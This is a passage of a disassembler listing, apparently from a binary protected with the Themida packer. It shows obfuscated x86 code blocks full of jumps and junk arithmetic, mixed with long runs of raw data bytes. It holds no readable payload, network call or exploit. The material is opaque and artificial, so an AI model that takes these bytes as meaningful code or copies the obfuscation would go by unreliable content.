		dd 0E1813281h, 4D8E2AC7h, 31C18141h, 298A8E9Eh,	72E959CDh
		dd 0C1FFFEE0h, 0C78108E7h, 0B87DBC94h, 16A168h,	10E7E900h
		dd 24890000h, 24048324h, 545E904h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_573412:				; CODE XREF: Themida_:00572869j
		add	edx, 51DC339Dh
		jmp	loc_562716
; ---------------------------------------------------------------------------
		db 68h,	8Dh, 2Bh
		dd 34890000h, 9D1BE24h,	0E6C101ECh, 2870E907h, 0F501FFFFh
		dd 6965ED81h, 685E3B71h, 2395h,	0B9240C89h, 4, 0FEEB29E9h
		dd 1EF281FFh, 817D441Ch, 70FFFFF2h, 5AD0298Dh, 5358C101h
		dd 0E51735BBh, 2C196802h, 29E90000h
		db 0A5h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_57346F:				; CODE XREF: Themida_:00567850j
		mov	edi, [esp]
		add	esp, 4
		add	esp, 4
		jmp	loc_56EAA5
; ---------------------------------------------------------------------------
		dd 0B8240489h, 18C868ADh, 8CE9C289h, 100001Eh, 241C8BDFh
		dd 0FEE454E9h, 0C2815AFFh, 4, 0FF8136E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5734A5:				; CODE XREF: Themida_:0056CCC5j
		push	esi
		mov	esi, 0F334509h
		not	esi
		shr	esi, 8
		push	edi
		push	eax
		mov	eax, 0A99505Ah
		sub	eax, 3149190Fh
		jmp	loc_56CF79
; ---------------------------------------------------------------------------
		db 66h,	68h, 51h
		dd 0C896641h, 0B9EBE924h, 5CBEFFFFh, 315D7027h,	742958C6h
		dd 348B0424h
		db 24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_566989
; ---------------------------------------------------------------------------


loc_5734F5:				; CODE XREF: Themida_:00574077j
		xchg	ebx, [esp]
		mov	esp, [esp]
		jmp	loc_575F02
; ---------------------------------------------------------------------------
		dd 2E566851h, 0A5E93759h, 89FFFF62h, 4832424h, 1C8B0424h
		dd 4C48124h, 0E9000000h, 0FFFF21F8h, 2474FF55h,	48F5D04h
		dd 24248B24h, 81E78957h, 4ECh, 242C8900h, 4BDh,	8BEF0100h
		dd 0C481242Ch, 4, 0FFA113E9h, 0C9C681FFh, 81114F66h, 1C7517F6h
		dd 61F68131h, 0E94FC951h, 0FFFF3B7Fh, 0CCE9CA21h
		db 0D4h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_57356B:				; CODE XREF: Themida_:00575A3Aj
		push	dword ptr [esp]
		jmp	loc_57275F
; ---------------------------------------------------------------------------


loc_573573:				; CODE XREF: Themida_:00574703j
		sub	ebx, 6A82277Eh
		add	esi, ebx
		pop	ebx
		push	ebx
		mov	ebx, 4
		jmp	loc_56D188
; ---------------------------------------------------------------------------
		db 1
		dd 2CCA05D8h, 6EE91B54h, 66FFFF9Bh, 5224048Bh, 0FEFBE954h
		dd 159FFFFh, 74E950C6h,	89FFFEE4h, 0C7E92424h
		db 0E3h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5735AF:				; CODE XREF: Themida_:0056DDDDj
		not	dword ptr [esp]
		pop	ecx
		sub	ecx, 0FEEE0F5Bh
		mov	edi, ecx
		pop	ecx
		add	[esp+4], edi
		jmp	loc_56CDE0
; ---------------------------------------------------------------------------
		db 5Eh,	81h, 0C6h
		dd 3FCC38B7h, 78A8055Fh, 0F7E97CE2h, 58FFFF4Eh,	1ADFE9h
		dd 240C8900h, 0CDFEAEB5h, 0E959ED80h, 0B3Dh
; ---------------------------------------------------------------------------


loc_5735EC:				; CODE XREF: Themida_:00566E7Ej
		mov	ebx, 4
		jmp	loc_5665DC
; ---------------------------------------------------------------------------
		dw 0C483h
		dd 2434FF04h, 0FFCEB5E9h, 0C1DBF7FFh, 0F38108EBh, 4AB20D59h
		dd 8AEEF381h, 0D9014A73h, 240C875Bh, 241C8B5Ch,	5104C483h
		dd 0C181E189h, 4, 4E981h, 0C870000h, 0C895C24h,	2D685224h
		dd 0E9000062h, 0FFFF1D0Ch, 0E628CDB6h, 41456858h, 1C890000h
		dd 91686624h, 489662Eh,	0E9AFB424h, 0FFFF3500h
; ---------------------------------------------------------------------------


loc_57365C:				; CODE XREF: Themida_:005647CDj
		inc	ebx
		neg	ebx
		jmp	loc_5623C6
; ---------------------------------------------------------------------------


loc_573664:				; CODE XREF: Themida_:0056E1E0j
		sub	esi, 7880438Dh
		pop	eax
		add	eax, esi
		jmp	loc_566026
; ---------------------------------------------------------------------------
aZqhel		db 'ZQhEL',0
		dd 241C8900h, 0FEEDC4E9h, 4C481FFh, 0E9000000h,	0FFFF70AEh
		dd 405h, 6E95700h, 5F00000Ch, 0FF0FBCE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_57369D:				; CODE XREF: Themida_:0057661Fj
		pop	esp
		add	ebx, edi
		jmp	loc_57407C
; ---------------------------------------------------------------------------
		db 89h,	0E0h, 55h
		dd 217E9h, 0DD895B00h, 4D5B5F5Bh, 0FF1E581h, 0BA52506Ah
		dd 38462906h, 5EA8142h,	3128441Ah, 2A89E9D5h, 835C0000h
		dd 0CF8104C4h, 1720CDFh, 0FFAFA8E9h, 53D2F7FFh,	232B6FBBh
		dd 6EEB817Bh, 31D2DB34h, 0D1015BDAh, 5A2434FFh,	81E78957h
		dd 4C7h, 0C528E900h, 1489FFFFh,	40685124h, 5973A61Ch, 8104E9C1h
		dd 0D42287F1h, 0DD44E951h
		db 0FEh, 0FFh
; ---------------------------------------------------------------------------


loc_57371A:				; CODE XREF: Themida_:0057636Fj
		mov	[esp], edi
		mov	edi, 45283F53h
		push	esi
		mov	esi, 27697C26h
		add	esi, 487C94E0h
		xor	edi, esi
		mov	esi, [esp]
		add	esp, 4
		sub	esp, 4
		mov	[esp], ecx
		push	edx
		jmp	loc_567BD9
; ---------------------------------------------------------------------------
		dd 4C481h, 92E90000h
		db 0CAh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_573753:				; CODE XREF: Themida_:0057605Aj
		push	528Fh
		mov	[esp], ebp
		jmp	loc_566D41
; ---------------------------------------------------------------------------


loc_573760:				; CODE XREF: Themida_:005728C7j
		add	edx, 49F36839h
		jmp	loc_572825
; ---------------------------------------------------------------------------
aS_37		db ')Ùé¾',9,0
		align 2


loc_573772:				; CODE XREF: Themida_:0056224Dj
		push	edx
		push	esp
		mov	edx, [esp]
		add	esp, 4
		push	ebx
		mov	ebx, 42326C4Eh
		shl	ebx, 4
		sub	ebx, 2326C4DCh
		add	edx, ebx
		pop	ebx
		add	edx, 4
		jmp	loc_572CD1
; ---------------------------------------------------------------------------


loc_57379A:				; CODE XREF: Themida_:00573F1Bj
		sub	eax, 2ECD3AA0h
		sub	edx, eax
		pop	eax
		push	1EFFh
		mov	[esp], edx
		jmp	loc_56B62B
; ---------------------------------------------------------------------------
		db 5Ah
		dd 802CCC80h, 0EC8045C4h, 58E52844h, 8059EC88h,	43E9D2C4h
		dd 50000002h, 885287B0h, 1756E9C6h, 0E95C0000h,	1C75h
; ---------------------------------------------------------------------------


loc_5737D8:				; CODE XREF: Themida_:00575934j
		xchg	edi, [esp]
		mov	esp, [esp]
		jmp	loc_5740AB
; ---------------------------------------------------------------------------
		db 81h
		dd 683118CAh, 90EA8118h, 51C57AF4h, 0FF1324E9h,	0DEE955FFh
		dd 57FFFF4Ah, 1794E9h
		db 0
; ---------------------------------------------------------------------------


loc_573801:				; CODE XREF: Themida_:00573377j
					; Themida_:00575006j
		push	59D8h
		mov	[esp], ebx
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	eax
		push	ebx
		push	esp
		pop	ebx
		sub	esp, 4
		mov	[esp], ebx
		push	esp
		pop	ebx
		jmp	loc_5655BB
; ---------------------------------------------------------------------------
		dd 240C8B66h, 0AA91E953h, 0F681FFFFh, 119D99F9h, 0FF41D6E9h
		dd 4C681FFh, 83000000h,	343304EEh, 0D359E924h, 0E468FFFFh
		dd 0E9000020h, 0FFFF18ADh, 8B5AD101h, 0C4812434h, 4, 6804C183h
		dd 256Ah, 0FF240C89h, 0E9042474h, 0FFFF51A9h, 8B2434FFh
		dd 0EC81242Ch, 4, 89241489h, 4C281E2h, 83000000h, 148704C2h
		dd 0B865E924h, 0F204FFFFh, 0F22CF828h, 23B25266h, 8B66D028h
		dd 0C4832414h, 1C8B6602h, 2C48324h, 0FF49A1E9h,	49C781FFh
		dd 1606070h, 49EF81D7h,	0E9606070h, 0FFFF17A2h,	4BDh, 5DE80100h
		dd 4B951h, 0C8010000h, 24048759h, 8124248Bh, 4E9h, 31C2E900h
		dd 248BFFFFh, 2424D224h, 0D750E99Ch, 0B70FFFFEh, 796866C0h
		dd 4896644h, 0D740E924h, 895CFFFEh, 0BA52240Ch,	626C1266h
		dd 9AE9D189h, 81FFFFDFh, 0B18795C2h, 7A5B0517h,	352D1F70h
		dd 29056260h, 0D317E9D0h, 0E95EFFFFh, 24DAh, 8124048Bh
		dd 4C4h, 8BCE0000h, 0C483240Ch,	51DEF604h, 3AE9A6B1h
		db 3Bh,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_57394B:				; CODE XREF: Themida_:00571444j
		push	eax
		mov	al, cl
		mov	bl, al
		pop	eax
		pop	ecx
		jmp	loc_56CD18
; ---------------------------------------------------------------------------
		db 0FFh
		dd 62E92434h
		db 51h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_57395F:				; CODE XREF: Themida_:00575434j
		xor	eax, [esp]
		jmp	loc_56A8F0
; ---------------------------------------------------------------------------
		db 81h
		dd 60C92434h, 535D1734h, 156DB8BBh, 7E3C17Ch, 8103E3C1h
		dd 485282EBh, 0B01CE918h, 0EE01FFFFh, 5D2434FFh, 4C481h
		dd 0BF570000h, 4, 25F1BD55h, 3DE979DDh
		db 0EAh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5739A3:				; CODE XREF: Themida_:0057602Cj
		push	dword ptr [esp]
		pop	edx
		push	edi
		push	esp
		jmp	loc_565699
; ---------------------------------------------------------------------------
		dw 1489h
		dd 0E99C5024h, 0FFFED68Ah, 761E9ACh, 0C6290000h, 52EE0158h
		dd 0FF1ACAE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5739C9:				; CODE XREF: Themida_:005675D2j
		add	ecx, ebp
		jmp	loc_564F22
; ---------------------------------------------------------------------------


loc_5739D0:				; CODE XREF: Themida_:0056AC78j
		pop	edx
		add	esp, 4
		mov	[edi+eax*4+1], cl
		push	dword ptr [esp]
		mov	ecx, [esp]
		jmp	loc_56C8F6
; ---------------------------------------------------------------------------


loc_5739E6:				; CODE XREF: Themida_:00564EB6j
		shr	eax, 1
		dec	eax
		jmp	loc_5637FF
; ---------------------------------------------------------------------------
		dw 0C681h
		dd 3E5405C4h, 3AABA52h,	0E28154A1h, 6BED78A8h, 0E2C1DAF7h
		dd 0DA6DE904h, 0F480FFFEh, 58E3302Fh, 525BD830h, 5330B551h
		dd 0CBFE16B3h, 82DC380h, 0FAE95BDDh, 0FFFFFF2Eh, 535A2434h
		dd 0EC83E389h, 240C8904h, 9C96850h, 5558170Ch, 43E55BDh
		dd 63F58134h, 0F738E139h, 6747E9D5h, 0C483FFFFh, 8AB65204h
		dd 0E6C0DEF6h, 7AC68002h, 0E9F2CE80h, 0FFFF35C0h, 0C2FDE951h
		dd 74FFFFFFh, 8F5B0424h, 815C2404h, 4ECh, 0FC54E900h
		db 0FEh, 0FFh
; ---------------------------------------------------------------------------


loc_573A7E:				; CODE XREF: Themida_:0056F73Dj
		sub	bl, 1
		sub	bl, 34h
		jmp	loc_56C27D
; ---------------------------------------------------------------------------


loc_573A89:				; CODE XREF: Themida_:0056F50Dj
		mov	ecx, 152471CDh
		mov	edi, ecx
		pop	ecx
		xor	edi, 3877520Fh
		push	eax
		mov	eax, 1D642A86h
		jmp	loc_561160
; ---------------------------------------------------------------------------


loc_573AA2:				; CODE XREF: Themida_:005655CEj
		mov	ecx, 28533CEEh
		add	ecx, 7C76135h
		shl	ecx, 2
		jmp	loc_5645E3
; ---------------------------------------------------------------------------
		db 89h,	34h, 24h
		dd 0FF86F8E9h, 874B3FFh, 0D4F65BDCh, 0EC83D4F6h, 912AE904h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_573ACE:				; CODE XREF: Themida_:0056AE48j
		mov	[esp], ecx
		mov	cl, 0E2h
		mov	dl, cl
		pop	ecx
		jmp	loc_570EA7
; ---------------------------------------------------------------------------
		db 56h
		dd 0C681E689h, 4, 8704EE83h, 895C2434h,	74FF240Ch, 8F590424h
		dd 248B2404h, 48B6624h,	0E2895224h, 4EC81h, 0DEE90000h
		dd 89FFFEF5h, 6852240Ch, 238B6EFDh, 0FF8D54E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_573B19:				; CODE XREF: Themida_:00571B7Bj
		add	esi, ebx
		jmp	loc_567BB9
; ---------------------------------------------------------------------------
		dd 24048B66h, 3479E951h, 0FA01FFFFh, 3EDFEA81h,	28B2C8Eh
		dd 2134685Ah, 0C890000h, 1B924h, 0C8210000h, 0FF1E93E9h
		dd 48F5FFFh, 0D414E924h, 0C181FFFFh, 46AE13C0h,	327EC181h
		dd 0D92944B3h, 327EE981h, 0E95244B3h, 0FFFF5525h, 6288E957h
		dd 34FFFFFFh, 2434FF24h, 47E95058h, 50000010h, 8851FC88h
		dd 0ADF0E9E1h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_573B8A:				; CODE XREF: Themida_:0056FA2Fj
		sub	ebp, 0D387DCEh
		sub	ebp, 0EB2680D4h
		add	eax, ebp
		pop	ebp
		sub	eax, 4
		xchg	eax, [esp]
		pop	esp
		mov	[esp], ebx
		push	edi
		jmp	loc_56DFFE
; ---------------------------------------------------------------------------
		db 51h,	89h, 0E1h
		dd 4C181h, 0BB530000h, 4, 335BD901h, 0C31240Ch,	240C3324h
		dd 2AAAE95Ch, 66680000h, 8900005Ch, 2368241Ch, 89000021h
		dd 4832424h, 1C8B0424h,	4C48324h, 6A7C68h, 243C8900h, 0DE95253h
		dd 81FFFEE9h, 0BE0B4DC2h, 0BB535625h, 68225771h, 0C15BDE89h
		dd 0EEC108E6h, 42EE8102h, 29D61FC5h, 24348BF2h,	0FF9C8FE9h
		dd 6AF92DFFh, 0F8013868h, 2A9368h, 24348900h, 686AF9BEh
		dd 5EF00138h, 8C4D1F2Dh, 43432D75h, 0D36856EEh,	8900004Fh
		dd 0DABD242Ch, 0C12D5E3Dh, 0C58104EDh, 14488702h, 0FF02B7E9h
		dd 81D301FFh, 9B5FF7EBh, 24EB815Eh, 5A146771h, 2F1A68h
		dd 243C8900h, 2BFh, 2BBD5500h, 8103D041h, 0DF5C1EC5h, 0E5F58141h
		dd 11943DEh, 96E95DEBh
		db 21h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_573C8B:				; CODE XREF: Themida_:00575DC1j
		sub	esp, 4
		mov	[esp], ebp
		push	74651B1Dh
		jmp	loc_56F252
; ---------------------------------------------------------------------------


loc_573C9E:				; CODE XREF: Themida_:0056B1E7j
		xor	ebp, 4B77BC87h
		add	ecx, ebp
		pop	ebp
		jmp	loc_56B2E5
; ---------------------------------------------------------------------------
		dd 0BF26FCBBh, 76522D7Eh, 7EE93E34h, 0E900001Ch, 0FFFED382h
		dd 84E98158h, 15D3E6Bh,	84C181F9h, 5F5D3E6Bh, 31240C33h
		dd 0C33240Ch, 24248B24h, 0FF2434FFh, 48B2434h, 4C48324h
		dd 2EDE68h, 242C8900h, 0C5815D54h, 4, 0FF392BE9h, 0C8B66FFh
		dd 2F7A6824h, 14890000h, 27FFE924h, 3C890000h, 36D2E924h
		dd 489FFFFh, 8007B024h,	0C7003EEFh, 0FF5204E9h,	0BD55FFh
		dd 0E93C472Fh, 0FFFFEEC3h, 0FF665566h, 66022474h, 48F665Dh
		dd 665F6624h, 66243C31h, 0E9243C33h, 0FFFFA6DEh
; ---------------------------------------------------------------------------


loc_573D4C:				; CODE XREF: Themida_:0056ED1Bj
		push	edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		push	edi
		push	dword ptr [esp+4]
		pop	edi
		pop	dword ptr [esp]
		jmp	loc_574AFB
; ---------------------------------------------------------------------------
		db 81h,	0E2h, 74h
		dd 8172B462h, 0C0121CF2h, 89BB5312h, 142B6BAh, 1334E9DAh
		dd 489FFFFh, 75B2E924h,	0F281FFFFh, 98F4130h, 54BCEA81h
		dd 37E910DDh, 83FFFF0Eh, 73E904ECh, 81FFFF4Eh, 0F2E8A9C2h
		dd 6A00E92Dh, 3548FFFFh, 44EE396Eh, 0F87DFF0Dh,	9A442D7Ah
		dd 0DFE96D53h, 8BFFFEE4h, 0C483243Ch, 8BD90904h, 0C481241Ch
		dd 4, 5E49E981h, 0D9E94FEEh, 89FFFF59h,	74FF241Ch, 34FF0424h
		dd 0C4835B24h, 24048F04h, 8924248Bh, 0E789243Ch, 18A8E9h
		dd 81EF0100h, 0FE1701EFh, 28DAE922h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_573E0A:				; CODE XREF: Themida_:00561AE2j
		pop	dword ptr [esp]
		mov	esp, [esp]
		jmp	loc_564D11
; ---------------------------------------------------------------------------
		db 0BEh, 0E7h, 55h
		dd 80E9064Dh, 53FFFF1Bh, 4AB668h, 24248900h, 4240481h
		dd 8B000000h, 0C481241Ch, 4, 13CCE955h,	0D3F7FFFFh, 8106EBC1h
		dd 5120ECF3h, 0EA9FE909h, 7401FFFFh, 44810424h,	0C5C0424h
		dd 0FF5E1DDAh, 815F2434h, 4C4h,	1CEF8100h, 0E9398400h
		dd 1650h, 0FF2434FFh, 48B2434h,	97E95624h
		db 9, 2	dup(0FFh)
; ---------------------------------------------------------------------------


loc_573E7F:				; CODE XREF: Themida_:0056A65Aj
		mov	edx, [esp]
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp]
		jmp	loc_572EBC
; ---------------------------------------------------------------------------
		db 5Eh,	0E9h, 0FFh
		dd 68FFFF92h, 6B9Dh, 53242489h,	4BBh, 245C0100h, 68595B04h
		dd 5569h, 0FF7062E9h, 0E9DE29FFh, 0FFFF56B9h, 0E621E205h
		dd 0DF16E930h, 9D2CFFFFh, 0FF1688E9h, 0C2BE56FFh, 0F70E5A4Ch
		dd 0A6DBE9DEh, 0E981FFFFh, 1, 2D054891h, 8193BF22h, 245387C2h
		dd 69EA8173h, 16FFC32h,	11E953C2h
		db 8Fh,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_573F03:				; CODE XREF: Themida_:0056BCF3j
		push	ebp
		push	dword ptr [esp+4]
		pop	ebp
		pop	dword ptr [esp]
		mov	esp, [esp]
		pop	dword ptr [esp]
		push	eax
		mov	eax, 2ECD3AA0h
		dec	eax
		dec	eax
		inc	eax
		jmp	loc_57379A
; ---------------------------------------------------------------------------
		dd 8B2434FFh, 52522404h, 0FF1B37E9h, 0C5895BFFh, 7EDC158h
		dd 0C107E5C1h, 0AB6805E5h, 89000062h, 0B5BF243Ch, 31737A34h
		dd 0EE215FFDh, 0FFAAB8E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_573F51:				; CODE XREF: Themida_:0056C381j
		shl	esi, 3
		sub	esi, 7780710Fh
		push	ebp
		push	ecx
		jmp	loc_572E0A
; ---------------------------------------------------------------------------
		db 55h,	0BDh, 9Ah
		dd 2957BA67h, 242C8BEAh, 4C481h, 0C8B0000h, 0E7895724h
		dd 4C781h, 0C7810000h, 4, 5C243C87h, 2BF57h, 0B8500000h
		dd 386E6F88h, 0EA68D0F7h, 89000054h, 0B7BD242Ch, 1539AD7h
		dd 0C2015DE8h, 38AE958h, 0E9AD0000h, 0FFFFD33Bh, 405E089h
		dd 83000000h, 48704C0h,	81575C24h, 4ECh, 24048900h, 14036856h
		dd 0E95E7220h, 0FFFEF29Dh, 4AD368h, 24148900h, 0FF1270E9h
		dd 4C381FFh, 50000000h,	4B8h, 0BA525100h, 0BD06661h, 376EF281h
		dd 0D18945E5h, 81D9F75Ah, 48223CF1h, 0C181495Bh, 749D6BB0h
		dd 0CA5EE981h, 0ABE91767h, 57FFFF19h, 4BFh, 0E106E900h
		dd 0D129FFFEh, 16F6C181h, 0E95A75E9h, 0FFFFBC90h, 0C381D301h
		dd 63683867h, 5870EB81h, 535A132Fh, 42474FFh, 51241C8Bh
		dd 0C181E189h, 4, 4C181h, 42E90000h
		db 0DEh, 0FEh, 0FFh
; ---------------------------------------------------------------------------


loc_57405F:				; CODE XREF: Themida_:0056308Fj
		pop	eax
		add	ebx, edi
		pop	edi
		xchg	ebx, [esp]
		jmp	loc_565EBE
; ---------------------------------------------------------------------------


loc_57406B:				; CODE XREF: Themida_:0056D441j
		add	ebx, 4
		add	ebx, 4
		jmp	loc_5734F5
; ---------------------------------------------------------------------------


loc_57407C:				; CODE XREF: Themida_:005736A0j
		add	ebx, 73697D6Fh
		push	2B1Ch
		mov	[esp], edx
		pop	dword ptr [ebx]
		jmp	loc_574873
; ---------------------------------------------------------------------------
		align 2
		dw 0FFCBh
		dd 0E9592434h, 0FFFFB127h, 240C8B66h, 3011E957h, 97E9FFFFh
		db 0CFh, 0FEh, 0FFh
; ---------------------------------------------------------------------------


loc_5740AB:				; CODE XREF: Themida_:005737DEj
		mov	[esp], esi
		push	dword ptr [esp+4]
		mov	esi, [esp]
		push	1662h
		mov	[esp], esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp]
		jmp	loc_56C95F
; ---------------------------------------------------------------------------
		dd 7467CF81h, 0B0E94BFAh, 83FFFEFAh, 6FE904C4h
		db 0A9h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5740E3:				; CODE XREF: Themida_:00564088j
		add	edi, 4
		xchg	edi, [esp]
		pop	esp
		or	edi, 7F03460Ah
		inc	edi
		push	edi
		jmp	loc_5632CF
; ---------------------------------------------------------------------------
		db 29h
		dd 0FD895AD7h, 8A1E95Fh, 835AFFFFh, 0BF5704C4h,	40864CAFh
		dd 0FFD21EE9h, 0BB535FFFh, 4, 20E9DE01h, 4FFFFC0h, 52F3049Fh
		dd 1255E9h, 0E9EA3000h,	2179h, 0C59C181h, 0BE560CC0h, 262C43D9h
		dd 0EA0FE946h
		db 0FEh, 0FFh
; ---------------------------------------------------------------------------


loc_574142:				; CODE XREF: Themida_:005637FAj
		sub	edx, ecx
		jmp	loc_5746B7
; ---------------------------------------------------------------------------
		db 2 dup(56h), 0BEh
		dd 3984001Ch, 4246C81h,	1DDA0C5Ch, 0FFFCF1E9h, 81E589FFh
		dd 4C5h, 4ED8100h, 0E9000000h, 0FFFFCB2Eh, 8124148Bh, 4C4h
		dd 4C48100h, 57000000h,	4BFh, 5FFD2900h, 8B242C87h, 14892424h
		dd 154BE924h, 1489FFFFh, 373C6824h, 0F75A79D3h,	4CEA81DAh
		dd 0E9365212h, 0FFFFC382h, 83241C8Bh, 0B95104C4h, 4, 77E9CB01h
		dd 55FFFFDCh, 0D71DE951h
		db 0FEh, 0FFh
; ---------------------------------------------------------------------------


loc_5741C6:				; CODE XREF: Themida_:00562B95j
		add	eax, 0EE55D3Fh
		push	dword ptr [esp]
		mov	ebx, [esp]
		add	esp, 4
		add	esp, 4
		sub	esp, 4
		mov	[esp], edi
		push	esi
		mov	esi, 2F8C540Dh
		mov	edi, esi
		pop	esi
		or	edi, 5A417B2h
		jmp	loc_562668
; ---------------------------------------------------------------------------


loc_5741F1:				; CODE XREF: Themida_:0056D4E4j
		push	1D0Ah
		mov	[esp], esi
		push	dword ptr [esp]
		jmp	loc_575B0C
; ---------------------------------------------------------------------------


loc_574201:				; CODE XREF: Themida_:005660EAj
		pop	ebx
		add	edi, 0DA61D97Dh
		and	eax, edi
		push	dword ptr [esp]
		mov	edi, [esp]
		add	esp, 4
		push	ebx
		mov	ebx, esp
		jmp	loc_575CF1
; ---------------------------------------------------------------------------
		db 28h
		dd 46E958C3h
		db 66h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_574223:				; CODE XREF: Themida_:005657F1j
		sub	ecx, 0EA96BCE3h
		or	ebx, ecx
		pop	ecx
		shl	ebx, 2
		shr	ebx, 1
		xchg	edx, ebx
		jmp	loc_562027
; ---------------------------------------------------------------------------


loc_574238:				; CODE XREF: Themida_:0057522Bj
		add	esp, 4
		jmp	loc_562512
; ---------------------------------------------------------------------------
		dd 24148B58h, 0E904C483h, 2836h
; ---------------------------------------------------------------------------


loc_57424C:				; CODE XREF: Themida_:005639CEj
		push	esp
		pop	eax
		add	eax, 4
		push	esi
		mov	esi, 4
		add	eax, esi
		pop	esi
		jmp	loc_57496F
; ---------------------------------------------------------------------------


loc_574261:				; CODE XREF: Themida_:00568880j
		dec	eax
		jmp	loc_56AEDD
; ---------------------------------------------------------------------------
		db 89h
		dd 29BA2414h, 1A67FD4h,	0C7815AD0h, 27C7375Dh, 0EF81C701h
		dd 27C7375Dh, 8124048Bh, 4C4h, 4BA5200h, 1000000h, 3C335AD7h
		dd 243C3124h, 0FF2E66E9h, 167EBFFFh, 0D2E95839h, 5F000015h
		dd 0FF49F2E9h, 0E9DEF6FFh, 0FFFEDEBBh, 8124348Bh, 4C4h
		dd 51F80100h, 804CA7B9h, 0F2E98134h, 1231635h, 875F59C8h
		dd 248B2404h, 4EC8124h,	0E9000000h, 0FFFFCB14h,	0ABC5815Fh
		dd 11C9771h, 0C172E9C5h, 30FFFFFFh, 0FEDF19E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5742F5:				; CODE XREF: Themida_:00568199j
		mov	edi, esi
		jmp	loc_56D937
; ---------------------------------------------------------------------------
		dd 0BB534E58h, 714A3F2Fh, 1C8BDE09h, 0E1895124h, 4C181h
		dd 0C1810000h, 4, 0FF2DA1E9h, 0BB5357FFh, 6B5D6EA8h, 0C15BDF89h
		dd 0EC8105EFh, 4, 0E9243489h, 0FFFFBE29h, 0D2E9FA01h, 4DFFFFC1h
		dd 0EDC1D5F7h, 47B85004h, 0E918C7F7h, 0FFFF0541h, 8704E983h
		dd 0E95C240Ch, 666h, 0F7665566h, 5D662414h, 0FFF9C7E9h
		dd 0C1DFF7FFh, 0CFE904EFh, 87FFFF60h, 61E9243Ch
		db 2Fh,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_57437B:				; CODE XREF: Themida_:005663D1j
		shl	ecx, 4
		shr	ecx, 5
		xor	ecx, eax
		xor	eax, ecx
		xor	ecx, eax
		not	eax
		push	ecx
		push	eax
		pop	ecx
		pop	eax
		shl	ecx, 7
		sub	esp, 4
		mov	[esp], esi
		mov	esi, 8379F100h
		jmp	loc_570129
; ---------------------------------------------------------------------------
		dd 6143B850h, 0C1056603h, 0E999FC9Eh, 0FFFF3973h, 18E7815Ch
		dd 503B397Ah, 0FF48A7E9h, 377C68FFh, 0A7E90000h, 81FFFFB9h
		dd 4EDh, 242C3300h, 0E9242C31h,	0FFFEF830h, 2823F380h
		dd 0B7E95BD8h, 2DFFFEE1h, 24932526h, 84E9F001h
		db 1, 2	dup(0)
; ---------------------------------------------------------------------------


loc_5743EF:				; CODE XREF: Themida_:0056A674j
		push	776B1900h
		jmp	loc_569293
; ---------------------------------------------------------------------------
		db 8Bh,	34h, 24h
		dd 4C481h, 3C870000h, 24248B24h, 0E99CC884h, 0FFFECC32h
		dd 0C181E189h, 4, 0FEF22AE9h, 6F0B2DFFh, 0CD2D41F3h, 2D5C841Ah
		dd 6E564AF1h, 0FF3CCDE9h, 4BA52FFh, 89000000h, 5B2D5AD6h
		dd 12E5445h, 0CE9FE9F0h, 0EF81FFFFh, 24F917AAh,	0FF7C1CE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_574451:				; CODE XREF: Themida_:0056C907j
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp]
		jmp	loc_56F639
; ---------------------------------------------------------------------------
		db 0FFh, 34h, 24h
		dd 582434FFh, 4C481h, 0E9530000h, 0FFFF4BA6h, 0E92434FFh
		dd 0FFFEF417h, 755CE381h, 314B19BCh, 0E6F7E9FBh, 74FFFFFFh
		dd 0E9E90424h
		db 5Ch,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_574497:				; CODE XREF: Themida_:00572760j
		push	edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp]
		pop	esp
		or	eax, eax
		jz	loc_56FA51
		push	edi
		mov	edi, esp
		add	edi, 4
		push	2D8Ah
		mov	[esp], esi
		mov	esi, 4
		sub	edi, esi
		pop	esi
		xchg	edi, [esp]
		mov	esp, [esp]
		mov	[esp], edx
		jmp	loc_57577D
; ---------------------------------------------------------------------------
		db 68h,	44h, 7Ah
		dd 0D15D1DA6h, 0CD8145E5h, 156AE7h, 0FF055CE9h,	243489FFh
		dd 23E95E57h, 55FFFFD1h, 0C5815D54h, 4,	4C581h,	0F1E90000h
		db 0D8h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_57450B:				; CODE XREF: Themida_:0056BC19j
		and	eax, ecx
		mov	ecx, [esp]
		jmp	loc_564523
; ---------------------------------------------------------------------------
		db 68h,	8Dh, 0Ch
		dd 1C890000h, 0FDB15124h, 0FFCB20E9h, 164FBBFFh, 0FE977D7h
		db 7, 2	dup(0)
; ---------------------------------------------------------------------------


loc_57452F:				; CODE XREF: Themida_:00567CFFj
		mov	ebp, [esp]
		add	esp, 4
		sub	esi, ecx
		push	dword ptr [esp]
		pop	ecx
		push	ecx
		mov	ecx, esp
		push	ebx
		mov	ebx, 4
		add	ecx, ebx
		pop	ebx
		push	ebx
